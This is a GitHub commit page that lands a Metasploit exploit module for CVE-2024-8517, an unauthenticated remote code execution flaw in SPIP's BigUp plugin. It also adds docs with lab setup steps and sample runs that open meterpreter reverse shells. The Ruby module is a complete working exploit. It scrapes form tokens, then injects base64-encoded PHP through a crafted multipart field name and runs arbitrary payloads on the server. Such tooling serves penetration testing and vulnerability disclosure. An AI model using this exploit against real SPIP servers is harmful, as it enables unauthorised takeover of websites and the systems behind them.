Skip to content

Commit 62e8521

Browse files
committed
Land #19444, SPIP BigUp Plugin Unauthenticated RCE
2 parents ebba72a + 4f859f1 commit 62e8521

File tree

2 files changed

+347
-0
lines changed

2 files changed

+347
-0
lines changed
Lines changed: 148 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,148 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits a Remote Code Execution vulnerability in SPIP
4+
versions up to and including 4.3.1, specifically in the BigUp plugin.
5+
The vulnerability occurs due to improper handling of file uploads in the
6+
`lister_fichiers_par_champs` function, which can be exploited by crafting a malicious multipart form request.
7+
This allows an attacker to inject and execute arbitrary PHP code on the server.
8+
9+
### Non-Docker Setup
10+
11+
To replicate a vulnerable environment for testing, follow these steps:
12+
13+
1. Download and set up SPIP version 4.3.1.
14+
2. Use the built-in PHP server to host the SPIP instance.
15+
16+
#### Commands to Set Up the Vulnerable Environment:
17+
18+
```bash
19+
wget https://files.spip.net/spip/archives/spip-v4.3.1.zip
20+
mkdir spip && mv spip-v4.3.1.zip spip
21+
cd spip && unzip spip-v4.3.1.zip
22+
php -S 0.0.0.0:8000
23+
```
24+
25+
- **SPIP Access URL:** `http://localhost:8000`
26+
- **SPIP Version:** 4.3.1
27+
28+
After starting the PHP server, SPIP will be accessible at `http://localhost:8000`.
29+
30+
To complete the installation:
31+
32+
1. Navigate to `http://localhost:8000/ecrire` to access the SPIP web installation panel.
33+
2. Follow the on-screen instructions to complete the setup.
34+
35+
### Docker Setup
36+
37+
To replicate a vulnerable environment for testing, follow these steps:
38+
39+
1. Pull the vulnerable SPIP Docker image:
40+
41+
```bash
42+
docker run --name casse-spip -p 8000:80 \
43+
-e SPIP_DB_SERVER=sqlite3 \
44+
-e SPIP_SITE_ADDRESS=http://localhost \
45+
-d ipeos/spip:4.3.1
46+
```
47+
48+
2. Go to `http://localhost:8000` to access the SPIP application.
49+
50+
## Verification Steps
51+
52+
1. Set up a SPIP instance using the commands provided above.
53+
2. Launch `msfconsole` in your Metasploit framework.
54+
3. Use the module: `use exploit/multi/http/spip_bigup_unauth_rce`.
55+
4. Set `RHOSTS` to the local IP address or hostname of the target.
56+
5. Configure necessary options such as `TARGETURI`, `SSL`, and `RPORT`.
57+
6. Execute the exploit using the `run` or `exploit` command.
58+
7. If the target is vulnerable, the module will execute the specified payload.
59+
60+
## Options
61+
62+
- **FORM_PAGE**: This option allows you to specify a custom page on the target SPIP installation that contains a form.
63+
By default, the module will automatically check the `login`, `spip_pass`, and `contact` pages for forms,
64+
but if you know of another page that contains a form, you can specify it here.
65+
For example, if an article page contains a form, you can set this option like so:
66+
67+
```
68+
set FORM_PAGE /spip.php?article1
69+
```
70+
71+
This will instruct the module to look for the form data on `/spip.php?article1`.
72+
If the specified page contains the vulnerable form, the module will proceed with the exploitation.
73+
This option is particularly useful when the default pages (`login`, `spip_pass` and `contact`)
74+
do not contain the form or are not accessible.
75+
76+
## Scenarios
77+
78+
### Successful Exploitation Against Local SPIP 4.3.1
79+
80+
**Setup**:
81+
82+
- Local SPIP instance with version 4.3.1.
83+
- Metasploit Framework.
84+
85+
**Steps**:
86+
87+
1. Start `msfconsole`.
88+
2. Load the module via `use exploit/multi/http/spip_bigup_unauth_rce`
89+
3. Set `RHOSTS` to the local IP (e.g., 127.0.0.1).
90+
4. Configure other necessary options (`TARGETURI`, `SSL`, etc.).
91+
5. Launch the exploit:
92+
```bash
93+
exploit
94+
```
95+
96+
**Expected Results**:
97+
98+
With `php/meterpreter/reverse_tcp`:
99+
100+
```bash
101+
msf6 exploit(multi/http/spip_bigup_unauth_rce) > run http://127.0.0.1:8000
102+
103+
[*] Started reverse TCP handler on 192.168.1.36:4444
104+
[*] Running automatic check ("set AutoCheck false" to disable)
105+
[*] SPIP Version detected: 4.3.1
106+
[+] SPIP version 4.3.1 is vulnerable.
107+
[*] Bigup plugin version detected: 3.2.11
108+
[+] The target appears to be vulnerable. Both the detected SPIP version (4.3.1) and bigup version (3.2.11) are vulnerable.
109+
[*] Found formulaire_action: login
110+
[*] Found formulaire_action_args: yt4d8ri/avF6LO/OwLA2O...
111+
[*] Preparing to send exploit payload to the target...
112+
[*] Sending stage (39927 bytes) to 172.17.0.2
113+
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 172.17.0.2:54956) at 2024-09-08 05:53:39 +0200
114+
115+
meterpreter > sysinfo
116+
Computer : d6c6866cac5a
117+
OS : Linux d6c6866cac5a 5.15.0-119-generic #129-Ubuntu SMP Fri Aug 2 19:25:20 UTC 2024 x86_64
118+
Meterpreter : php/linux
119+
```
120+
121+
With `cmd/linux/http/x64/meterpreter/reverse_tcp`:
122+
123+
```bash
124+
msf6 exploit(multi/http/spip_bigup_unauth_rce) > run http://127.0.0.1:8000
125+
126+
[*] Started reverse TCP handler on 192.168.1.36:4444
127+
[*] Running automatic check ("set AutoCheck false" to disable)
128+
[*] SPIP Version detected: 4.3.1
129+
[+] SPIP version 4.3.1 is vulnerable.
130+
[*] Bigup plugin version detected: 3.2.11
131+
[+] The target appears to be vulnerable. Both the detected SPIP version (4.3.1) and bigup version (3.2.11) are vulnerable.
132+
[*] Found formulaire_action: login
133+
[*] Found formulaire_action_args: yt4d8ri/avF6LO/OwLA2O...
134+
[*] Preparing to send exploit payload to the target...
135+
[*] Sending stage (3045380 bytes) to 172.17.0.2
136+
[*] Meterpreter session 2 opened (192.168.1.36:4444 -> 172.17.0.2:55956) at 2024-09-08 05:54:43 +0200
137+
138+
meterpreter > sysinfo
139+
Computer : 172.17.0.2
140+
OS : Debian 11.10 (Linux 5.15.0-119-generic)
141+
Architecture : x64
142+
BuildTuple : x86_64-linux-musl
143+
Meterpreter : x64/linux
144+
```
145+
146+
- The module successfully exploits the vulnerability and opens a Meterpreter session on the target.
147+
148+
**Note**: Ensure the SPIP instance is correctly configured and running using the manual setup for the exploit to work as expected.
Lines changed: 199 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,199 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = ExcellentRanking
8+
9+
include Msf::Payload::Php
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Exploit::Remote::HTTP::Spip
12+
prepend Msf::Exploit::Remote::AutoCheck
13+
14+
def initialize(info = {})
15+
super(
16+
update_info(
17+
info,
18+
'Name' => 'SPIP BigUp Plugin Unauthenticated RCE',
19+
'Description' => %q{
20+
This module exploits a Remote Code Execution vulnerability in the BigUp plugin of SPIP.
21+
The vulnerability lies in the `lister_fichiers_par_champs` function, which is triggered
22+
when the `bigup_retrouver_fichiers` parameter is set to any value. By exploiting the improper
23+
handling of multipart form data in file uploads, an attacker can inject and execute
24+
arbitrary PHP code on the target server.
25+
26+
This critical vulnerability affects all versions of SPIP from 4.0 up to and including
27+
4.3.1, 4.2.15, and 4.1.17. It allows unauthenticated users to execute arbitrary code
28+
remotely via the public interface. The vulnerability has been patched in versions
29+
4.3.2, 4.2.16, and 4.1.18.
30+
},
31+
'Author' => [
32+
'Vozec', # Vulnerability Discovery
33+
'Laluka', # Vulnerability Discovery
34+
'Julien Voisin', # Code Review
35+
'Valentin Lobstein' # Metasploit Module
36+
],
37+
'License' => MSF_LICENSE,
38+
'References' => [
39+
['CVE', '2024-8517'],
40+
['URL', 'https://thinkloveshare.com/hacking/spip_preauth_rce_2024_part_2_a_big_upload/'],
41+
['URL', 'https://blog.spip.net/Mise-a-jour-critique-de-securite-sortie-de-SPIP-4-3-2-SPIP-4-2-16-SPIP-4-1-18.html']
42+
],
43+
'Platform' => %w[php unix linux win],
44+
'Arch' => %w[ARCH_PHP ARCH_CMD],
45+
'Targets' => [
46+
[
47+
'PHP In-Memory', {
48+
'Platform' => 'php',
49+
'Arch' => ARCH_PHP
50+
# tested with php/meterpreter/reverse_tcp
51+
}
52+
],
53+
[
54+
'Unix/Linux Command Shell', {
55+
'Platform' => %w[unix linux],
56+
'Arch' => ARCH_CMD
57+
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
58+
}
59+
],
60+
[
61+
'Windows Command Shell', {
62+
'Platform' => 'win',
63+
'Arch' => ARCH_CMD
64+
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
65+
}
66+
]
67+
],
68+
'DefaultTarget' => 0,
69+
'Privileged' => false,
70+
'DisclosureDate' => '2024-09-06',
71+
'Notes' => {
72+
'Stability' => [CRASH_SAFE],
73+
'Reliability' => [REPEATABLE_SESSION],
74+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
75+
}
76+
)
77+
)
78+
register_options(
79+
[
80+
OptString.new('FORM_PAGE', ['false', 'A page with a form.', 'Auto'])
81+
]
82+
)
83+
end
84+
85+
def check
86+
rversion = spip_version || spip_plugin_version('spip')
87+
return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless rversion
88+
89+
print_status("SPIP Version detected: #{rversion}")
90+
91+
vulnerable_ranges = [
92+
{ start: Rex::Version.new('4.0.0'), end: Rex::Version.new('4.1.17') },
93+
{ start: Rex::Version.new('4.2.0'), end: Rex::Version.new('4.2.15') },
94+
{ start: Rex::Version.new('4.3.0'), end: Rex::Version.new('4.3.1') }
95+
]
96+
97+
is_vulnerable = vulnerable_ranges.any? { |range| rversion.between?(range[:start], range[:end]) }
98+
99+
unless is_vulnerable
100+
return CheckCode::Safe("The detected SPIP version (#{rversion}) is not vulnerable.")
101+
end
102+
103+
print_good("SPIP version #{rversion} is vulnerable.")
104+
plugin_version = spip_plugin_version('bigup')
105+
106+
unless plugin_version
107+
print_warning('Could not determine the version of the bigup plugin.')
108+
return CheckCode::Appears("The detected SPIP version (#{rversion}) is vulnerable.")
109+
end
110+
111+
print_status("Bigup plugin version detected: #{plugin_version}")
112+
if plugin_version < Rex::Version.new('3.2.12')
113+
return CheckCode::Appears("Both the detected SPIP version (#{rversion}) and bigup version (#{plugin_version}) are vulnerable.")
114+
end
115+
116+
CheckCode::Appears("The detected SPIP version (#{rversion}) is vulnerable.")
117+
end
118+
119+
# This function tests several pages to find a form with a valid CSRF token and its corresponding action.
120+
# It allows the user to specify a URL via the FORM_PAGE option (e.g., spip.php?article1).
121+
# We need to check multiple pages because the configuration of SPIP can vary.
122+
def get_form_data
123+
pages = %w[login spip_pass contact]
124+
125+
if datastore['FORM_PAGE']&.downcase != 'auto'
126+
pages = [datastore['FORM_PAGE']]
127+
end
128+
129+
pages.each do |page|
130+
url = normalize_uri(target_uri.path, page.start_with?('/') ? page : "spip.php?page=#{page}")
131+
res = send_request_cgi('method' => 'GET', 'uri' => url)
132+
133+
next unless res&.code == 200
134+
135+
doc = Nokogiri::HTML(res.body)
136+
action = doc.at_xpath("//input[@name='formulaire_action']/@value")&.text
137+
args = doc.at_xpath("//input[@name='formulaire_action_args']/@value")&.text
138+
139+
next unless action && args
140+
141+
print_status("Found formulaire_action: #{action}")
142+
print_status("Found formulaire_action_args: #{args[0..20]}...")
143+
return { action: action, args: args }
144+
end
145+
146+
nil
147+
end
148+
149+
# This function generates PHP code to execute a given payload on the target.
150+
# We use Rex::RandomIdentifier::Generator to create a random variable name to avoid conflicts.
151+
# The payload is encoded in base64 to prevent issues with special characters.
152+
# The generated PHP code includes the necessary preamble and system block to execute the payload.
153+
# This approach allows us to test multiple functions and not limit ourselves to potentially dangerous functions like 'system' which might be disabled.
154+
def php_exec_cmd(encoded_payload)
155+
vars = Rex::RandomIdentifier::Generator.new
156+
dis = "$#{vars[:dis]}"
157+
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
158+
<<-END_OF_PHP_CODE
159+
#{php_preamble(disabled_varname: dis)}
160+
$c = base64_decode("#{encoded_clean_payload}");
161+
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
162+
END_OF_PHP_CODE
163+
end
164+
165+
def exploit
166+
form_data = get_form_data
167+
168+
unless form_data
169+
fail_with(Failure::NotFound, 'Could not retrieve formulaire_action or formulaire_action_args value from any page.')
170+
end
171+
172+
print_status('Preparing to send exploit payload to the target...')
173+
174+
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
175+
b64_payload = framework.encoders.create('php/base64').encode(phped_payload).gsub(';', '')
176+
177+
post_data = Rex::MIME::Message.new
178+
179+
# This line is necessary for the form to be valid, works in tandem with formulaire_action_args
180+
post_data.add_part(form_data[:action], nil, nil, 'form-data; name="formulaire_action"')
181+
182+
# This value is necessary for $_FILES to be used and for the bigup plugin to be "activated" for this request, thus triggering the vulnerability
183+
post_data.add_part(Rex::Text.rand_text_alphanumeric(4, 8), nil, nil, 'form-data; name="bigup_retrouver_fichiers"')
184+
185+
# Injection is performed here. The die() function is used to avoid leaving traces in the logs,
186+
# prevent errors, and stop the execution of PHP after the injection.
187+
post_data.add_part('', nil, nil, "form-data; name=\"#{Rex::Text.rand_text_alphanumeric(4, 8)}['.#{b64_payload}.die().']\"; filename=\"#{Rex::Text.rand_text_alphanumeric(4, 8)}\"")
188+
189+
# This is necessary for the form to be accepted
190+
post_data.add_part(form_data[:args], nil, nil, 'form-data; name="formulaire_action_args"')
191+
192+
send_request_cgi({
193+
'method' => 'POST',
194+
'uri' => normalize_uri(target_uri.path, 'spip.php'),
195+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
196+
'data' => post_data.to_s
197+
}, 1)
198+
end
199+
end

0 commit comments

Comments
 (0)